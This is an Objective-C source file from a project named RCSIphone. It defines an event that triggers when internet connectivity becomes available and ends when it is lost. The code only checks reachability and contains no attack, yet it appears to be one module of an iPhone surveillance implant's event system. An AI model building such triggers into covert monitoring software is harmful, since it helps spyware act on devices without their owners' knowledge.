core/Modules/RCSIEventConnectivity.m
//
// RCSIEventConnectivity.m
// RCSIphone
//
// Created by kiodo on 02/03/12.
// Copyright 2012 HT srl. All rights reserved.
//
#import "RCSIEventConnectivity.h"
#import "Reachability.h"
#import "RCSICommon.h"
@implementation _i_EventConnectivity
- (id)init
{
self = [super init];
if (self)
{
eventType = EVENT_CONNECTION;
}
return self;
}
- (BOOL)readyToTriggerStart
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
BOOL bRet = FALSE;
Reachability *reachability = [Reachability reachabilityForInternetConnection];
NetworkStatus internetStatus = [reachability currentReachabilityStatus];
if (internetStatus != NotReachable)
bRet = TRUE;
[pool release];
return bRet;
}
- (BOOL)readyToTriggerEnd
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
BOOL bRet = FALSE;
Reachability *reachability = [Reachability reachabilityForInternetConnection];
NetworkStatus internetStatus = [reachability currentReachabilityStatus];
if (internetStatus == NotReachable)
bRet = TRUE;
[pool release];
return bRet;
}
@end